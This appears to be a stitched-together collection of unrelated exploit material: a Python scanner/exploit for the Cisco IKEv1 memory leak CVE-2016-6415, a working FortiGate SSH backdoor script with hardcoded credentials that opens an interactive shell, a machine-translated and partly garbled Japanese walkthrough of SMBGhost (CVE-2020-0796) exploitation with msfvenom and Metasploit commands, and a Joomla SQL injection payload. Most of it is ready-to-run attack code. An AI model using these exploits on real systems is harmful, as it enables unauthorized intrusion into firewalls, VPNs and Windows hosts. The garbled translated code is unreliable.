payload += '\x01b\xe9\xd0\xd1\x16\xa4)\xf0\xcb0*W\x9f\x9fT\xf5\x12'
payload += '\xea[\x8b\xdd\xb6+\xf2\x04\x06\x916\xa7\xc6e\x96\x8cx'
payload += '\xe0\xfe\xd4u\x96\xc8c\xe4c\xdd\xca@f\x7fj\xa4\xe7`'
payload += '\xa5\x8b\xff\xe7\xed\x1c\x00w\x18\xbe[\xef\xe4\x1f'
payload += '\xa4?\x8c\x90\x80\x05\xbf\xe4\xd9\x9e\x964\x16\x16'
payload += '\x0b\xf0\xbfn\xd8\xa7_\x9c\nm\xb5DA\xa2\x10Hy\xb5'
payload += '\x82\x88\xa7\xb3&~\x91\xa3?\xd6*\xd9\n;^t\xc3'
payload += '\x1f\x08\xcc\xb1\xc0\x9d}\x9eJ'
payload += '\xe6\x89\xbf\x03h:\x90Y\xfb\xe6R|\x0fInW\xaf'
payload += '\x16\xffz\xd4CL&r\xdd\x15y\xa9Z\xe7p\xbc\xeb'
payload += '\x1b\xf3\x811\xe1V\xc4$?\xe9\xda\x1fj\xa9J\x05\xe3'
payload += '\x96I6\xdaNa\x93\x1e\xac\xd9I\n\x15\x10\xf0\x1f\xbb'
payload += '\x07\x00"\xd3\x94Eth\xa4\xf7gz\xdehu\xce3'
payload += '\xf8\xc0mS\x80\x03\x00\x01'
# print(len(payload))
# cisco - IP/UDP/ISAKMP
def exploit(host, port=500):
# ikev1_pkt = open("sendpacket.raw").read()
data = None
try:
# print("[+] exploit CVE-2016-6415 - {}:{}".format(host, port))
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# IP/UDP/ISAKMP
client.sendto(payload, (host, port))
client.settimeout(TIMEOUT)
data, addr = client.recvfrom(RCVSIZE)
except socket.timeout:
pass
# print("[*] timeout - {}:{}".format(host, port))
return data
def is_vulnable(host, port):
data = exploit(host, port)
if data:
isakmp = ISAKMP(data)
# ls(isakmp)
if isakmp.haslayer(ISAKMP_payload):
isakmp_payload = isakmp.getlayer(ISAKMP_payload)
# leak memory data
# isakmp_payload.load
if isakmp_payload.length > 0 and isakmp_payload.load:
print("[+] exploit {}:{} succesfully".format(host, port))
return True
print("[-] exploit {}:{} Failed".format(host, port))
return False
if __name__ == '__main__':
import sys
if len(sys.argv) == 2:
with open(sys.argv[1]) as f:
for ip in f:
is_vulnable(ip.strip(), 500)
# https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
# https://tools.cisco.com/security/center/selectIOSVersion.x
# https://isakmpscan.shadowserver.org/
# https://twitter.com/marcan42/status/766346343405060096
# https://nmap.org/nsedoc/scripts/ike-version.html
# http://www.cisco.com/c/en/us/about/security-center/identify-mitigate-exploit-ikev1-info-disclosure-vuln.html
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
# [+] ---- Fingerprint: ---- [+]
# cisco pix
# cisco pix 6
# cisco pix 7
#
# 500/udp open isakmp udp-response Cisco VPN Concentrator 3000 4.0.7
# Cisco Systems, Inc./VPN 3000 Concentrator Version 4.7.2.L built by vmurphy on Jun 11 2007 14:07:29
# Vendor: Cisco Systems, Inc.
# Cisco Systems, Inc. 12.2
# Cisco Systems, Inc. 12.4
# Cisco Systems, Inc. 15.5
# Cisco Systems pix
# Cisco VPN Concentrator
#!/usr/bin/env python
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>
import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty
def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]
def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
if __name__ == '__main__':
main()
0x00脆弱性の説明
脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。
0x01脆弱性応答バージョン
Windows 10 1903バージョン(x32ベースのシステム用)
Windows10バージョン1903(x64ベースのシステム用)
Windows10バージョン1903(ARM64ベースのシステム用)
Windows Server 1903バージョン(サーバーコアインストール)
Windows10バージョン1909(x32ベースのシステム用)
Windows10バージョン1909(x64ベースのシステム用)
Windows10バージョン1909(ARM64ベースのシステム用)
Windows Serverバージョン1909(サーバーコアインストール)
0x02脆弱性分析
脆弱性の発表は、SMB 3.1.1プロトコルで圧縮メッセージを処理する場合、そのデータがセキュリティチェックされていないことを示しています。直接使用すると、攻撃者がリモートで実行できるメモリの腐敗の脆弱性を引き起こします。攻撃者は、この脆弱性を使用して、許可なくリモートコードの実行を実現できます。ハッカーによって攻撃されたターゲットシステムは、オンラインでコンピューターをオンにするだけでハッキングされる場合があります。
1.ルール原因
脆弱性はSRV2.SYSで発生します。 SMBは圧縮されたパケットを正しく処理しないため、パケットを減圧すると、長さが合法かどうかを確認しません。最終的に、整数のオーバーフローが発生します。
2。予備分析
このエラーは、SRV2.SYS SMBサーバードライバーのSRV2DeCompressData関数の整数オーバーフローエラーです。これは機能の単純化されたバージョンであり、無関係な詳細を省略します。
typedef struct _compression_transform_header
{
ulongプロトコリッド;
ulong origional Compressedsegmentsize;
USHORT圧縮分解。
USHORTフラグ;
Ulong Offset;
} compression_transform_header、 *pcompression_transform_header;
typedef struct _allocation_header
{
//.
pvoid userbuffer;
//.
} allocation_header、 *pallocation_header;
ntstatus srv2decompressdata(pcompression_transform_header、size_t totalsize)
{
pallocation_header alloc=srvnetallocatebuffer(
(Ulong)(Header-Original CompressedSegmentsize + Header-Offset)、
null);
if(!alloc){
return status_insufficient_resources;
}
ulong finalCompressedSize=0;
ntstatus status=smbCompressionDecompress(
ヘッダー圧縮糖、
(Puchar)Header + sizeof(compression_transform_header) +ヘッダーオフセット、
(ulong)(totalsize -sizeof(compression_transform_header) - ヘッダーオフセット)、
(puchar)alloc-userbuffer +ヘッダーオフセット、
Header-Original Compressedsegmentize、
finalcompressedsize);
if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){
srvnetfreebuffer(alloc);
return status_bad_data;
}
if(ヘッダーオフセット0){
memcpy(
alloc-userbuffer、
(puchar)header + sizeof(compression_transform_header)、
ヘッダーオフセット);
}
srv2replacereceivebuffer(some_session_handle、alloc);
return status_success;
}
SRV2DECOMPRESSDATA関数は、クライアントから送信された圧縮メッセージを受信し、必要な量のメモリを割り当て、データを減圧します。次に、オフセットフィールドがゼロでない場合、圧縮データの前に配置されたデータを割り当てられたバッファの開始までコピーします。
よく見ると、20行目と31行がいくつかの入力に整数オーバーフローを引き起こす可能性があることがわかります。たとえば、バグがリリースされた直後に表示されるほとんどのPOCは、システムがクラッシュし、0xffffff値をオフセットフィールドとして使用します。この値を使用すると、20行目で0xffffffffが整数オーバーフローをトリガーするため、割り当てられるバイトが少なくなります。
その後、31行目で追加の整数オーバーフローをトリガーします。クラッシュは、受信したメッセージが受信されたアドレスから30行目で計算されたメモリアクセスによって引き起こされます。コードが31行目の計算を検証した場合、バッファーの長さがマイナスであり、表現できないため、非常に早期に終了します。これにより、30行目自体のアドレスが無効になります。
3.オーバーフローコンテンツを選択します
整数のオーバーフローを引き起こすように制御できる2つの関連フィールドのみがあります:元のcomponedsegmentsize and offsetなので、多くの選択肢はありません。いくつかの組み合わせを試した後、次の組み合わせが私たちを引き付けました。正当なオフセット値と巨大なオリジナルの圧縮セグメントサイズ値を送信した場合はどうなりますか?コードが実行する3つのステップを確認しましょう。
割り当て:整数のオーバーフローにより、割り当てられたバイトの数は2つのフィールドの合計よりも少なくなります。
減圧:減圧は、非常に大きな元の複雑なセグメント化値を受け取り、ターゲットバッファーを無限のサイズとして扱います。他のすべてのパラメーターは影響を受けていないため、予想どおりに実行されます。
コピー:実行する場合は、コピーが予想どおりに実行されます。
コピーステップ——を実行したいかどうかは興味深いように見えます。これは、「割り当て」フェーズで必要以上に少ないバイトを割り当てることができたため、減圧段階でバウンド外の書き込みをトリガーできるかどうかです。
ご覧のとおり、この手法を使用して、あらゆるサイズとコンテンツのオーバーフローをトリガーできます。これは素晴らしいスタートです。しかし、私たちのバッファーの外側にあるものは何ですか?答えを見つけましょう!
4。 srvnetallocatebuffer
の詳細な分析この質問に答えるには、srvnetallocatebufferの例では、割り当て関数を調べる必要があります。関数の興味深い部分は次のとおりです。
pallocation_header srvnetallocatebuffer(size_t allocsize、pallocation_header sourcebuffer)
{
//.
if(srvdisablenetbufferlookasidelist || allocsize0x100100){
if(allocsize0x1000100){
nullを返します。
}
result=srvnetallocatebufferfrompool(allocsize、allocsize);
} それ以外{
int lookasidelistindex=0;
if(allocsize0x1100){
lookasidelistindex=/* allocsize * /;
}
some_struct list=srvnetbufferlookasides [lookasidelistindex];
results=/* list from list * /;
}
//いくつかの結果フィールドを初期化.
結果を返します。
}
割り当て関数は、必要なバイト数に基づいて異なる操作を実行することがわかります。大規模な割り当て(約16MBを超える)は、実行障害を引き起こす可能性があります。中程度の割り当て(約1 MBを超える)は、SRVNETALLOCATEBUFFERFROMPOOL関数を使用して割り当てられます。小さな割り当て(残り)は、lookasideリストを使用して最適化されています。
注:関数の機能に影響を与えるSRVDISABLENETBUFFERLOOKSASIDELISTフラグもありますが、文書化されていないレジストリ設定によって設定されており、デフォルトで無効になっているため、あまり興味深いものではありません。
Lookasideリストは、ドライバー用の再利用可能な固定サイズのバッファーを効果的に保持するために使用されます。 Lookasideリストの関数の1つは、バッファーを管理するためのカスタム割り当て/リリース関数を定義することです。 srvnetbufferlookasidesアレイへの参照を見ると、srvnetcreatebufferlookasides関数で初期化されたことがわかりました。
カスタム割り当て関数は、srvnetallocatebufferfrompoolとのみを呼び出すsrvnetbufferlookasideallocateとして定義されます
9つのLookAsideリストは次のサイズで作成されます。Pythonを使用して迅速に計算します。
[範囲(9)のiのhex((1(i + 12)) + 256)]
[「0x1100」、「0x2100」、「0x4100」、「0x8100」、「0x10100」、「0x20100」、「0x40100」、「0x80100」、「0x100100」]]]]
これは、0x100100バイトを超える割り当てを割り当てる際には、lookasideリストが使用されないという私たちの発見と一致します。
結論は、各割り当て要求がsrvnetallocatebufferfrompool関数に終わるため、分析してみましょう。
6.SrvNetAllocateBufferFrompoolおよび割り当てられたバッファレイアウト
SRVNETALLOCATEBUFFERFROMPOOL関数は、ExallocatePoolWithTag関数を使用して、非PagedPoolnxプールのバッファーを割り当て、いくつかの構造をデータで埋めます。割り当てられたバッファレイアウトは次のとおりです。
私たちの研究の範囲内で、このレイアウトの唯一の関連部分は、ユーザーバッファと割り当てヘッダー構造です。ユーザーバッファーにオーバーフローすることで、最終的にAllocation_Header構造を上書きすることがすぐにわかります。便利に見えます。
7. rewrite配分ヘッダー構造
この時点で、私たちの最初のアイデアは、SMBCompressionDeCompressによる呼び出し後に確認することです。
if(status 0 || finalCompressedSize!=header-OriginalCompressedSegmentize){
srvnetfreebuffer(alloc);
return status_bad_data;
}
SRVNETFREEBUFFERが呼び出され、元の複雑なセグメント化を多数に設計するため、関数が失敗し、最終的な複雑なサイズは実際の減圧バイトの数を表す少数になります。したがって、srvnetfreebuffer関数を分析し、マジック番号の割り当てられたポインターを正常に交換し、自由な機能が無料または同様の目的で後で使用することを期待して自由関数を解放しようとするのを待ちます。しかし、驚いたことに、Memcpy関数はクラッシュしました。私たちは何も考えていないので、これは私たちを幸せにしますが、なぜこれが起こるのかを確認する必要があります。説明は、SMBCompressionDecompress関数の実装にあります。
ntstatus smbcompressiondecompress(
USHORT圧縮分解、
puchar conpressedbuffer、
Ulong非圧縮バッファイズ、
Puchar圧縮バッファー、
ulong圧縮バッファイズ、
pulong finalcompressedsize)
{
//.
ntstatus status=rtldecompressbufferex2(
.
finaluncompressedsize、
.);
if(status=0){
* finalCompressedSize=compressedBufferSize;
}
//.
戻りステータス。
}
基本的に、減圧が成功した場合、最終的なcompressedSizeが更新され、バッファのサイズであるCompressedBufferSizeの値が節約されます。この小さな詳細は、割り当てられたバッファレイアウトと相まって、このバグの非常に便利な活用を可能にするため、この小さな詳細は私たちにとって非常に疑わしいように思えます。
実行は元のデータをコピーする段階に続くので、もう一度通話を確認しましょう。
memcpy(
alloc- userbuffer、
(puchar)title+ sizeof(compression_transform_header)、
ヘッダーオフセット);
Allocation_header構造のターゲットアドレスを読み取ります。これをオーバーライドできます。バッファーの内容とサイズも私たちによって制御されます。
8。ローカルアクセス許可は強化されています
私たちはそれをどこで開発するかを書いたので、私たちはそれをどうすることができますか?システムをクラッシュできることは明らかです。リモートコードの実行をトリガーできる場合がありますが、そうする方法は見つかりませんでした。 LocalHostでこの脆弱性を使用し、追加情報をリークする場合、これはいくつかのテクニックで証明されているため、ローカルの許可の高さに使用できます。
私たちが試した最初の手法は、Morten Schenkが《Black Hat USA 2017》スピーチで提案しました。この手法では、win32の.dataセクションで関数ポインターデータベースシステムドライバーを書き換え、ユーザーモードから対応する関数を呼び出してコード実行を取得します。 J00RUは、WCTF 2018でこのテクノロジーの使用に関する素晴らしい記事を書き、脆弱性ソースコードを提供しました。 SMBメッセージを処理するスレッドがGUIスレッドではないため、脆弱性がどこにあるかを書き留めるために調整しましたが、それは機能しないことがわかりました。したがって、Win32データベースシステムにはマッピングがなく、テクノロジーは関連性がありません(GUIスレッドを作成する方法がない限り)。
最終的には、Cesarcerが紹介した有名なテクノロジーを使用しました。2012年のBlack Hat DemoでEasy Native Windows Kernel Developmentを開発しました。この手法は、ntquerysysteminformation(systemhandleinformation)APIを使用して現在のプロセストークンアドレスをリークし、そのアドレスを書き直して、許可の高さに使用できる現在のプロセストークン許可を付与することです。 Bryan Alexander(Dronesec)およびStephen Breen(Breenmachine)(2017)は、EOP研究でプロキシ許可を乱用し、さまざまなトークン特権を使用して特権を高めるいくつかの方法を示しています。
任意の書き込み操作を活用して許可記事をエスカレートするとき、Alexandre Beaulieuの共有コードに基づいて攻撃しました。プロセスのトークン特権を変更した後、dllをwinlogon.exeに注入します。 DLLの全体的な目的は、コマンドプロンプトを開始することです。私たちの完全なローカル特権エスカレーションの証明はここにあり、研究/防衛の目的でのみ使用できます。
0x03 CVE-2020-0796 RCE脆弱性の再発
1。環境準備
攻撃航空機:KAL2019 IP:192.168.1.101
ターゲットターゲットマシン:Windows10 1903 X64(プロフェッショナルバージョン、エンタープライズバージョンも可能)IP:192.168.1.103
ターゲットマシンのアドレスをダウンロードしてください:
ED2K: //|ファイル| CN_WINDOWS_10_BUSINESS_EDITIONS_VERSION_1903_X64_DVD_E001DD2C.ISO | 4815527936 | 47D4C57E638DF8BF74C59261E2CE702D |///////
2。環境要件:
(1)。 POCはあまり安定しておらず、複数のテストが必要です(リスニングポートまたはネットワークの問題で占められていると考えてください)。
(2)。 POCが失敗した場合、ターゲットシステムがシステムに含まれているDefaulterを有効にして傍受した可能性があります。
(3)。テスト中は、ファイアウォールをオフにしてソフトを殺してポート445を開くのが最善です
3。繁殖手順
(1)。POCを使用したKaliダウンロード下のClone
root@kali2019:/opt#git clone https://github.com/chompie1337/smbghost_rce_poc.git
(2)。 POCディレクトリに切り替えます
root@kali2019:/opt#cd smbghost_rce_poc/
(3)。このPOCは、Python3環境で実行する必要があります
(4)。ターゲットマシンのIPアドレスとシステムバージョンを見ることができます
(5)。 Kaliの下でリバウンドシェルコードのPythonバージョンを生成します
root@kali2019:〜#msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
(6)。生成されたシェルコードを見ることができます
root@kali2019:〜#cat exp.py
(7)。生成されたexp.pyコードのすべての変数BUFを変数user_payloadに置き換え、すべてのコードを貼り付け、次のコードを上書きします。
(8)。 KaliでMSFを開始し、次のように設定します
MSF5 Exploit/Multi/Handlerを使用します
MSF5 Exploit(Multi/Handler)Payload Windows/x64/meterpreter/bind_tcp #setリバウンドモードを設定します
MSF5エクスプロイト(マルチ/ハンドラー)SET RHOST 192.168.1.103#ターゲットマシンのIPアドレスをセット
MSF5 Exploit(Multi/Handler)セットLPORT 2333#リスニングポートをセットします
MSF5エクスプロイト(マルチ/ハンドラー)エクスプロイト
(9)。 POCを使用して実行すると、実行が成功していることがわかります。キーを押すと、キーを入力するのが最善です。
python3 exploit.py -ip 192.168.1.103
(10)。 MSFでは、ターゲットマシンのターゲットマシンから正常に跳ね返るシェルが確認できることがわかります。
0x04 CVE-2
# # # # #
# Exploit Title: Joomla! Component User Bench 1.0 - SQL Injection
# Dork: N/A
# Date: 18.12.2017
# Vendor Homepage: http://www.gegabyte.org/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/user-bench/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_userbench&view=detail&userid=[SQL]
#
# %20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
#
# # # # #